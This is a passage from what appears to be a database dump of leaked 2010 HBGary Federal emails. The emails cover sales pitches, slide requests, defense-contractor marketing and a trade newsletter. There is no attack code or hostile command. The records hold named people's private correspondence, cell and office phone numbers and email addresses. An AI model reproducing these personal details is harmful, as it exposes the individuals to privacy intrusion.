found:\r\n&nbsp;\r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CBIQFjAA&amp;url=http%3A%2F%2Fwww.fbodaily.com%2Farchive%2F2010%2F06-June%2F24-Jun-2010%2FFBO-02184732.htm&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNH0yml3Q-ZCNaTNdmqvhhHI4_hEnw\r\n\r\n&nbsp;\r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=2&amp;ved=0CBUQFjAB&amp;url=http%3A%2F%2Fwww.fbodaily.com%2Farchive%2F2010%2F06-June%2F24-Jun-2010%2Fr-src.htm&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNFIx_JrrOPkBfuJqEI2F64sb5kYlw\r\n\r\n&nbsp;\r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=3&amp;ved=0CBoQFjAC&amp;url=http%3A%2F%2Fwww.slbid.com%2Fgovernment_bids%2Findex.htm%3Fbt%3D1%26so%3Da%26otp%3Dfed%26st%3D60504000%26pageno%3D3&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNFIyb32PqVasLSeLaT2DHYxRo5aoQ\r\n\r\n&nbsp;\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=d88e9d660336be91552fe8c1a51bacb2&amp;tab=core&amp;_cview=1\r\n\r\n&nbsp;\r\nwhoa man.\r\n&nbsp;\r\n-G\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11878,'aaron_hbgary_com/11878.html'),(8093,'2010-07-01','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006302.M51678P14101Q2947.eml','aaron@hbgary.com,aaron@hbgary.com','RE: Slides','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you talk now?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 8:57 AM\r\nTo: Ricart, Richard\r\nCc: penny@hbgary.com\r\nSubject: Re: Slides\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure. &nbsp;I am working on some new material all morning so\r\nlet me know when is a good time. &nbsp;I am in EST.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 1, 2010, at 8:51 AM, &quot;richard.ricart@accenture.com&quot;\r\n&lt;richard.ricart@accenture.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you have time to talk this morning?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505\r\nLake Lynda Drive, Suite 115\r\n\r\nOrlando,\r\nFL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, June 30, 2010 7:06 PM\r\nTo: Ricart, Richard\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Slides\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDo you just want slides on DDNA or how it\r\nintegrates?&nbsp; I have TONS of slides on how DDNA works.&nbsp; I also got\r\ncomments back from Aaron Barr (he was cybersecurity director for TASC he works\r\nfor us now)&nbsp; He saw some areas that you could beef up.&nbsp; Do you want\r\nto talk to him?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: richard.ricart@accenture.com\r\n[mailto:richard.ricart@accenture.com]\r\n\r\nSent: Wednesday, June 30, 2010 1:58 PM\r\nTo: penny@hbgary.com\r\nSubject: Slides\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nSorry\r\nI missed the call today.&nbsp; If you have some slides made up please send them\r\nto me.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRick\r\nRicart\r\n\r\nAccenture\r\n\r\nChief\r\nEngineer, Defense\r\n\r\n3505 Lake Lynda\r\nDrive, Suite 115\r\n\r\nOrlando, FL&nbsp;\r\n32817\r\n\r\nCell:\r\n321-544-4000\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n',8445,'aaron_hbgary_com/8445.html'),(8094,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006302.M568739P14101Q2949.eml','richard.ricart@accenture.com','Re: Slides','Sure. &nbsp;I will give you a call in 5-10min. &nbsp;(just getting a cup of coffee).AaronOn Jul 1, 2010, at 9:15 AM, &lt;richard.ricart@accenture.com&gt; wrote:Can you talk now?&nbsp;&nbsp;Rick RicartAccentureChief Engineer, Defense3505 Lake Lynda Drive, Suite 115Orlando, FL&nbsp; 32817Cell: 321-544-4000&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, July 01, 2010 8:57 AMTo:&nbsp;Ricart, RichardCc:&nbsp;penny@hbgary.comSubject:&nbsp;Re: Slides&nbsp;Sure. &nbsp;I am working on some new material all morning so let me know when is a good time. &nbsp;I am in EST.AaronFrom my iPhoneOn Jul 1, 2010, at 8:51 AM, \"richard.ricart@accenture.com\" &lt;richard.ricart@accenture.com&gt; wrote:Do you have time to talk this morning?&nbsp;Rick RicartAccentureChief Engineer, Defense3505 Lake Lynda Drive, Suite 115Orlando, FL&nbsp; 32817Cell: 321-544-4000&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, June 30, 2010 7:06 PMTo:&nbsp;Ricart, RichardCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;RE: Slides&nbsp;Do you just want slides on DDNA or how it integrates?&nbsp; I have TONS of slides on how DDNA works.&nbsp; I also got comments back from Aaron Barr (he was cybersecurity director for TASC he works for us now)&nbsp; He saw some areas that you could beef up.&nbsp; Do you want to talk to him?&nbsp;From:&nbsp;richard.ricart@accenture.com&nbsp;[mailto:richard.ricart@accenture.com]&nbsp;Sent:&nbsp;Wednesday, June 30, 2010 1:58 PMTo:&nbsp;penny@hbgary.comSubject:&nbsp;Slides&nbsp;Penny,&nbsp;Sorry I missed the call today.&nbsp; If you have some slides made up please send them to me.&nbsp;&nbsp;Rick RicartAccentureChief Engineer, Defense3505 Lake Lynda Drive, Suite 115Orlando, FL&nbsp; 32817Cell: 321-544-4000&nbsp;This message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.This message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.This message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7766,'aaron_hbgary_com/7766.html'),(8095,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006305.M510200P14101Q2950.eml','richard.ricart@accenture.com','FYI','',4256,'aaron_hbgary_com/4256.html'),(8096,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006305.M920262P14101Q2951.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: DoD Defense Contractors','I thought the Mandiant stuff was just in testing and they were going to test AD this summer as well and provide some details on strengths and weaknesses? &nbsp;CSC actually runs IT security for many of the big defense contractors (that funny huh?). &nbsp;So I would suggest getting CSC to buy in to it as a solution and they can help to integrate at other DIB members. &nbsp;CISOs don\'t want to do advanced malware analysis, they want systems that will tell them of compromise and where it is so they can go clean it.Does the Mandiant solution scour for information on disk and in registry? &nbsp;Does it do any memory analysis, deployed agents as part of its solution? &nbsp;I know the CISO at Northrop and that is it. &nbsp;I can get us in front of the Deputy CISO for an AD demo. &nbsp;The advanced analysis team for NG already loves us but they see us as an advanced malware capability, not an enterprise security capability.AaronOn Jun 30, 2010, at 7:29 PM, Penny Leavy-Hoglund wrote:So Mandiant sold a corporate license to General Dynamics and it talking to a lot of other system integrators.&nbsp; How come we can’t sell to these people?&nbsp; Do you guys know any CISO’s at competing places?&nbsp; Bob needs help getting in here.&nbsp; Like BAE or Booz, or Lockheed etc&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10070,'aaron_hbgary_com/10070.html'),(8097,'2010-07-01','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297006306.M167457P14101Q2952.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: Update','Our discussion would probably be best, but I\'m out of the office starting Sat for 2 weeks.\r\nGib\r\n\r\nJB Godwin III\r\nNorthrop Grumman, Information Systems\r\nDefense Systems Division\r\nVice President, Cybersecurity and Systems Integration\r\n2340 Dulles Corner Blvd\r\nHerndon, VA 20171\r\n \r\n(o) 703.561.4610\r\n(m)703.201.2543\r\njames.godwin@ngc.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 8:42 AM\r\nTo: Godwin, Gib (IS)\r\nCc: Shows, Bob (IS)\r\nSubject: EXTERNAL:Re: Update\r\n\r\nGib,\r\n\r\nThe training course won\'t be fully done for a few weeks.  So depends\r\non what you want.  If you want to attend the course I would say we are\r\nat least a month off (filling seats, etc.) and I can let you know when\r\nthe first course will be.\r\n\r\nIf you want to have a discussion about the material, our approach,\r\npotential for wrapping it inside of a larger offering you might have.\r\nWe could do that as soon as next week if you want.  I can give you a\r\nreal good feel for what will be in the course.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 1, 2010, at 8:11 AM, \"Godwin, Gib (IS)\"  wrote:\r\n\r\n> When are you going to give that social media session so I can get a look at\r\n> what you say.\r\n> Gib\r\n>\r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>\r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 30, 2010 11:01 AM\r\n> To: Shows, Bob (IS)\r\n> Cc: Godwin, Gib (IS)\r\n> Subject: Update\r\n>\r\n> Hi Bob,\r\n>\r\n> Checking in to see how things are going and give you an update on our\r\n> capabilities.  See attached datasheet on our general information security\r\n> services offerings.\r\n>\r\n> Where I have been focused recently is on social media.  With the recent DoD\r\n> directive that open .mil to social media access there seems to be a lot of\r\n> anxiety, and there should be.  I gave a presentation a few weeks ago at the\r\n> NSA REBL conference on Social Media, Exploitation and Persistent Internet\r\n> Operations.  I was flooded with questions and was told it was one of the\r\n> highlights of the conference by the conference coordinator.\r\n>\r\n> We are in the process of developing a 1 day Social Media training course to\r\n> familiarize organizations with the social media landscape, uses, risks, use\r\n> cases, and information monitoring techniques.  We are also talking with a\r\n> few red teams on helping them develop social media capabilities in their Red\r\n> Team engagements.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',617,'aaron_hbgary_com/617.html'),(8098,'2010-07-01','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297006306.M487200P14101Q2953.eml','aaron@hbgary.com','Brad Antle Makes a Summer Splash: Salient Buys SGIS','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonJuly 1,\r\n 2010Brad\r\n Antle Makes a Summer Splash: Salient Buys\r\n SGISSalient\r\n Federal Solutions, led by CEO Brad\r\n Antle, has acquired SGIS from Skillstorm.Brad Antle previously served\r\n as CEO of SI International before that firm was acquired by Serco.&nbsp; Antle was\r\n picked by ExecutiveBiz as a \"Person to Watch\" in 2009. Click Here to Read\r\n MoreMartha\r\n Johnson: GSA \'Stands Ready to Support Networx\r\n Transition\'Speaking\r\n at GSA\'s 2010 Network Services Conference, GSA Administrator Martha Johnson told\r\n conference attendees: \"There are huge benefits to government through the\r\n transition to Networx. GSA stands ready to support the transition. We provide free\r\n technical, contracting and planning support to help agencies meet their June 2011\r\n deadlines.\"Click Here to Read\r\n MoreA Booming Market for UAVs\r\n According to a report by\r\n Visiongain,\r\nmore than $71 billion will be spent on Unmanned Aerial Vehicles (UAVs)\r\nbetween 2010 and 2020, based not only on increasing demand in the U.S.\r\nmarket, currently the lion\'s share of worldwide UAV shares, but also on\r\ngrowing demand from Western Europe, Israel, India, China and\r\n Japan. Click Here to\r\n Read\r\n MoreGen. Wesley Clark: US Can Stop Cyber\r\n AttacksThe increasing number of attacks via cyberspace on\r\n U.S. federal and private sector networks can and should be stopped, according to\r\n General Wesley Clark.\r\n Click  Here to\r\n Read\r\n More\r\n John\r\nRiggins, Hall of Fame running back for the Washington\r\n Redskins, will be\r\nspeaking at the Potomac Officers Club on July 22,\r\n 2010.\r\n SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceExecutive Spotlight: Mary Good of SRA International\r\n Lance Cottrell of Abraxas: \'Substantial civil liberties impacts\' but\r\n no security benefits with large-scale Internet surveillance\r\n Executive Spotlight: Gail Forrest of CACI\r\n Executive Spotlight: Gunnar Hellekson of Red Hat U.S. Public Sector\r\n &nbsp;&nbsp;&nbsp;&nbsp;BAE Systems\r\n Pens DoD Deal, Lockheed Scores PairRaytheon,\r\n Northrop Grumman, Honeywell Win DoD DealsAnthony Hess on\r\n SAIC\'s Substance Abuse Counseling BPA WinBoeing, FAA\r\n to CLEEN the SkiesRaytheon Scores\r\n Cooling System Deal from NavyHarris Wins\r\n Deal from General Dynamics to Support NASA SatellitesLockheed,\r\n Northrop Bank DoD DealsMike Gaffney on\r\n CSC\'s Successful Air-Traffic SimulatorBAE, Boeing\r\n Score Air Force ContractsLockheed\r\n Completes Center for JBC-P SolutionRaytheon Picks\r\n Tom Kennedy to Lead IDSGeneral\r\n Dynamics Purchases KylmarLockheed Martin\r\n Names Maryanne Lavan SVP and General CounselBAE Systems\r\n Teams with Freedom PST for New Data CentersHarris\' Jim\r\n Traficant Talks Military Healthcare ImprovementsClick Here for\r\n More GovConwireNIST Launches\r\n Cyber Awareness ProgramOpen Society\r\n Makes Estonia a Target for Cyber AttacksDoD Official\r\n Sees Forthcoming Change in Cyber CultureSenate Looks to\r\n Combine Cyber BillsCyber Attacks\r\n via Excel?Hackers Go\r\n After Politicians, Internet CensorshipMillions of\r\n Swedes Potential Victims of Phishing Scams, Says New StudyFAA Audit:\r\n Medical Data of Airmen Not Secure33 South Korean\r\n Poker Scammers BookedClick Here for\r\n More from The New New Internet CEO Who Cares:\r\n Bob Dix of Juniper Networks CEO Who Cares:\r\n Bahman Atefi of Alion Science and Technology Hazardous Home?\r\n DoD Prepares\r\n for \'Internet Crunch\' Executive\r\n Profile: Joe Kopfman of AMERICAN SYSTEMS SAIC\'s Anthony\r\n Hess: Services Strengthen Quality of\r\n LifeClick Here for\r\n More from GovCon Executive\r\n Comprehensive\r\n Cyber Legislation ApprovedGates, Mullen\r\n Comment on Resignation of McChrystalFBI Names New\r\n Assistant Director in Charge for NY DivisionNapolitano\r\n Announces Steps to Boost Southwest Border EffortsSmart-Grid\r\n Cybersecurity Investments to Reach Billions by 2015Climate Change\r\n a Concern for National Security, Says Navy OfficialNew Center to\r\n Help Wounded Warriors Opens in BethesdaU.S. Congress\r\n Comes to Agreement On Financial Reform BillGAO Announces\r\n Members to Co-Op Advisory BoardSenate Confirms\r\n Two Health-Policy OfficialsClick Here for\r\n More from ExecutiveGov&nbsp;&nbsp;SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceCIA Officers Memorial\r\n Foundation Charity Dinner Featuring Keynote Speaker Dan Aykroyd.Please join\r\n INSA in raising funds for The CIA Officers Memorial Foundation at this very\r\n special charity dinner.When:Thursday, July 8, 2010&nbsp;\r\n 5:30 p.m.Where:\r\n Ritz-Carlton, Pentagon City, 1250\r\n South Hayes St. Arlington VA 22202For more information contact Rachel Patricca at\r\n rpatricca@insaonline.org or 703.224.4672AEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n Executive Spotlight: Mary Good of SRA International\r\n Mary\r\n Good began her professional background after earning an MBA with a concentration\r\n in human resources management. She went to work American Management Systems, which\r\n at the time had roughly 1,500 employees. During the 13 years she spent AMS, the\r\n company grew to have 10,000 employees and revenues of $1 billion. Moving onto her\r\n next adventure, Good landed at the much smaller Blackboard, where she helped the\r\n company with its initial public offering. She spent the next 3.5 years creating a\r\n strategic HR function as the company was maturing and developing an international\r\n presence. Following Blackboard, she joined SRA International and today serves as\r\n senior vice president of human resources.Click Here to Read\r\n MoreLance\r\nCottrell of Abraxas: \'Substantial civil liberties impacts\' but no\r\nsecurity benefits with large-scale Internet surveillance\r\n \r\n It may not sound like the most straightforward avenue into\r\n cybersecurity, but Abraxas\' chief scientist and cyber expert Lance Cottrell began\r\n his career as an astronomer. Pursuing graduate studies in astrophysics in San\r\n Diego in the early 1990s, Cottrell had direct access to the Internet, the web, and\r\n high-speed backbones at a time where no one outside the scientific community did.\r\n This kind of exposure provided him with an awareness of the security issues and\r\n concerns surrounding the use of the Internet, and the amount of information that\r\n was visible to anyone running services on it. While working on his Ph.D, Cottrell\r\n become involved in building cryptography, and security and privacy tools for the\r\n open source community. In 1995, he realized his work was taking off as thousands\r\n of users were using the tools he had built. Choosing between his passions, he put\r\n his research on hold and started a company &#8212; Anonymizer, Inc. Initially\r\n focused on the consumer space and building privacy tools for individuals, the\r\n company realized over the years there was a lot of need coming out of the\r\n commercial and government sectors. Subsequently, Anonymizer refocused its business\r\n around providing enterprise class, high-end capabilities. About two years ago, the\r\n company was acquired by Abraxas Corporation, who chose to keep Cottrell on in the\r\n role of chief scientist \"as most of the things we build are my brainchild,\"\r\n Cottrell said.Click Here to Read\r\n MoreExecutive Spotlight: Gail Forrest of\r\n CACIGail Forrest brings a wealth\r\n of experience and insight to her position as senior vice president of human\r\n resources at CACI.&nbsp; She spoke with ExecutiveBiz about the finer points of the\r\n HR world and her diverse background. Click Here to Read\r\n MoreExecutive Spotlight: Gunnar Hellekson of Red Hat U.S. Public Sector\r\n Like many other IT professionals, Gunnar\r\n Hellekson\'s interest in computers was born at an early age, but it was not until\r\n college he received formal training in the field. While taking engineering\r\n classes, Hellekson put his skills and his entrepreneurial side to use and worked\r\n as a systems administrator to make some money. Not long after, he took the step to\r\n start up a number of Internet companies, doing business-to-business work and web\r\n development, eventually leading to the founding of a consulting company focused on\r\n helping small and medium-size arts and nonprofits in New York City. About four or\r\n five years ago, he traded the Big Apple for the nation\'s capital and ended up\r\n working at Red Hat U.S. Public Sector as a chief technology strategist. Click Here to Read\r\n More&nbsp; \r\n A Letter from the\r\n EditorThrough our weekly emagazine and daily blog,\r\nExecutiveBiz offers our readership an insider\'s view of news and trends\r\nshaping small, medium, and large companies within industries such as\r\ndefense, technology, and health care.&nbsp; In addition to our daily blog,\r\nwe\'ve launched four new media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\nEach\r\n week, we deliver in-depth profiles of industry leaders, candid\r\nQ&As, plus the latest news and trends, and value-add information to\r\nhelp you do your job better.&nbsp; You\'re a big part of the equation both\r\nonline and off &#8212; which is why we want to hear from you. Have a story\r\n\r\ntip? Or an idea for a speaking event? Feel free to contact me direct.\r\nYou can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp; ExecutiveBiz, 8230 Old Courthouse RoadVienna, VA\r\n 22181Update PreferencesList\r\n Unsubscribe\r\n',11646,'aaron_hbgary_com/11646.html'),(8099,'2010-07-01','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006306.M722366P14101Q2954.eml','aaron@hbgary.com,aaron@hbgary.com','RE: FYI','Aaron,\r\n\r\nMark is the technical contact from VirtualArmor in case you have any questions for him.\r\n\r\nRick Ricart\r\nAccenture\r\nChief Engineer, Defense\r\n3505 Lake Lynda Drive, Suite 115\r\nOrlando, FL  32817\r\nCell: 321-544-4000\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information.  If you have received it in error, please notify the sender immediately and delete the original.  Any other use of the email by you is prohibited.\r\n',4904,'aaron_hbgary_com/4904.html'),(8100,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006307.M108040P14101Q2955.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,,','Accenture','Just got off the phone with rich.  They are looking for 4 slides:\r\n1. About HBGary\r\n2. How does ddna work and catch 0 days\r\n3. How will it integrate with blockhouse\r\n\r\nThey are developing this proposal to pitch to governments to fund.  My\r\nopinion on likelihood of success - low.  Most big contractors are\r\nfunding something similar on their own dime.  We are being integrated\r\nas part of Northrops project as well.\r\n\r\nDo you have existing slides?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',11017,'aaron_hbgary_com/11017.html'),(8101,'2010-07-01','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006307.M431427P14101Q2956.eml','aaron@hbgary.com,aaron@hbgary.com','RE: FYI','Aaron,\r\n\r\nIf you need any more information regarding Blockhouse please contact Chris.\r\n\r\nRick Ricart\r\nAccenture\r\nChief Engineer, Defense\r\n3505 Lake Lynda Drive, Suite 115\r\nOrlando, FL  32817\r\nCell: 321-544-4000\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 9:03 AM\r\nTo: Ricart, Richard\r\nSubject: FYI\r\n\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information.  If you have received it in error, please notify the sender immediately and delete the original.  Any other use of the email by you is prohibited.\r\n',223,'aaron_hbgary_com/223.html'),(8102,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006307.M668299P14101Q2957.eml','\"David Etue\" <david@etue.net>','Re: Introduction','Hey Dave,\r\n\r\nI am sitting in a coffee shop working on material all day.  In\r\nGeorgetown at the moment.  If today doesn\'t work out maybe early next\r\nweek?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 30, 2010, at 9:56 AM, David Etue  wrote:\r\n\r\n> Even more interesting :)\r\n>\r\n> My week ended up pretty crazy, as my last day at Fidelis is today.  I\'ve do have some time tomorrow morning if you want to catch up.  I also could do tomorrow afternoon, but it would need to be at my house in Arlington while I wait for comcast to come fix my cable modem (for the fourth time...)  Friday I need to be up in Baltimore area for most of the day, and then we are having a casual BBQ on Friday night (which we\'d be happy to have you and your family come by!)\r\n>\r\n> David\r\n>\r\n> On 6/30/2010 9:45 AM, Aaron Barr wrote:\r\n>> yep.\r\n>>\r\n>> On Jun 30, 2010, at 9:44 AM, David Etue wrote:\r\n>>\r\n>>\r\n>>> Same Bill Luti?  http://en.wikipedia.org/wiki/William_J._Luti\r\n>>>\r\n>>>\r\n>>> On 6/30/2010 9:22 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> Dave,\r\n>>>>\r\n>>>> Let me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n>>>>\r\n>>>> Bill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n',7411,'aaron_hbgary_com/7411.html'),(8103,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006307.M911042P14101Q2958.eml','\"Lance Cottrell\" <lance.cottrell@abraxascorp.com>,\"Bill Varner\" <Bill.Varner@mantech.com>,\"Lance Cottrell\" <lance.cottrell@abraxascorp.com>,\"Bill Varner\" <Bill.Varner@mantech.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: Collaboration Opportunity','I remember a meeting a while back with Scott Charney where he described an effort being worked in Microsoft to do something like this.  They were talking with the DMVs as well.\r\nFrom my perspective the value add would be to define some of the possible linkages, touch-points between the public-private relationship that makes this a successful doctrine.  As John pointed out, ultimately this is a capability developed by industry with some attempt to define some of it&#39;s structure by government before it&#39;s developed.  Ultimately what will be developed is what will add revenue.  A successful doctrine on a national identity program, absolutely necessary but wrought with challenges, will require an immense amount of dialogue and pre-work.\r\nMaybe we could highlight challenges in the architecture, implementation, and management with mitigating solutions?\r\nThis is not my area of expertise but universal authentication is an absolute necessity and I would be happy to assist.Aaron   Sent from my iPadOn Jun 30, 2010, at 4:20 PM, Lance Cottrell &lt;lance.cottrell@abraxascorp.com&gt; wrote:\r\nFrom reading some of the comments on the website, it is certainly the case that people are assuming this is an &quot;National Internet ID Card / Driver&#39;s License&quot;.\r\n	-LanceOn Jun 30, 2010, at 4:15 AM, Osterholz, John (US SSA) wrote:\r\n\r\nBill,I think its a fine idea if we can define a value added perspective. It would also serve as a good ice breaker for the team. \r\nOn Monday, colleagues and I spent the better part of the day with Howard in our role as executive sponsors of the Transglobal Secure Collaboration Program (www.tscp.org). Some of that time was spent specifically discussing our TSCP-NSTI perspective in context of TSCP as an internationally constituted A&amp;D industry heavy body. \r\nA few of more general points from that session:• HS is getting significant and pointed feedback from all quarters and is trying to read all the input personally. \r\n• He is planning to turn the paper into clear Obama Administration guidance by late summer or early fall. • HS expressed sensitivity to his paper being miscast as a description of a &quot;national ID card&quot; program, mandated by the government. \r\n• He described NSTI as federated identity management to be implemented largely by the private sector in an operational public-private partnership. • HS believed that the general public need not shoulder the full weight of cybersecurity decision making. \r\n• He indicated that network providers and others should assume responsibility for making smart infrastructure and operational choices that advanced cybersecurity as a integral feature of their offerings. \r\njlo John Osterholz Vice President Cyber Warfare and Cybersecurity\r\nFrom: Varner, Bill &lt;Bill.Varner@ManTech.com&gt; \r\nTo: aaron@hbgary.com &lt;aaron@hbgary.com&gt;; alexander.miller@l-3com.com 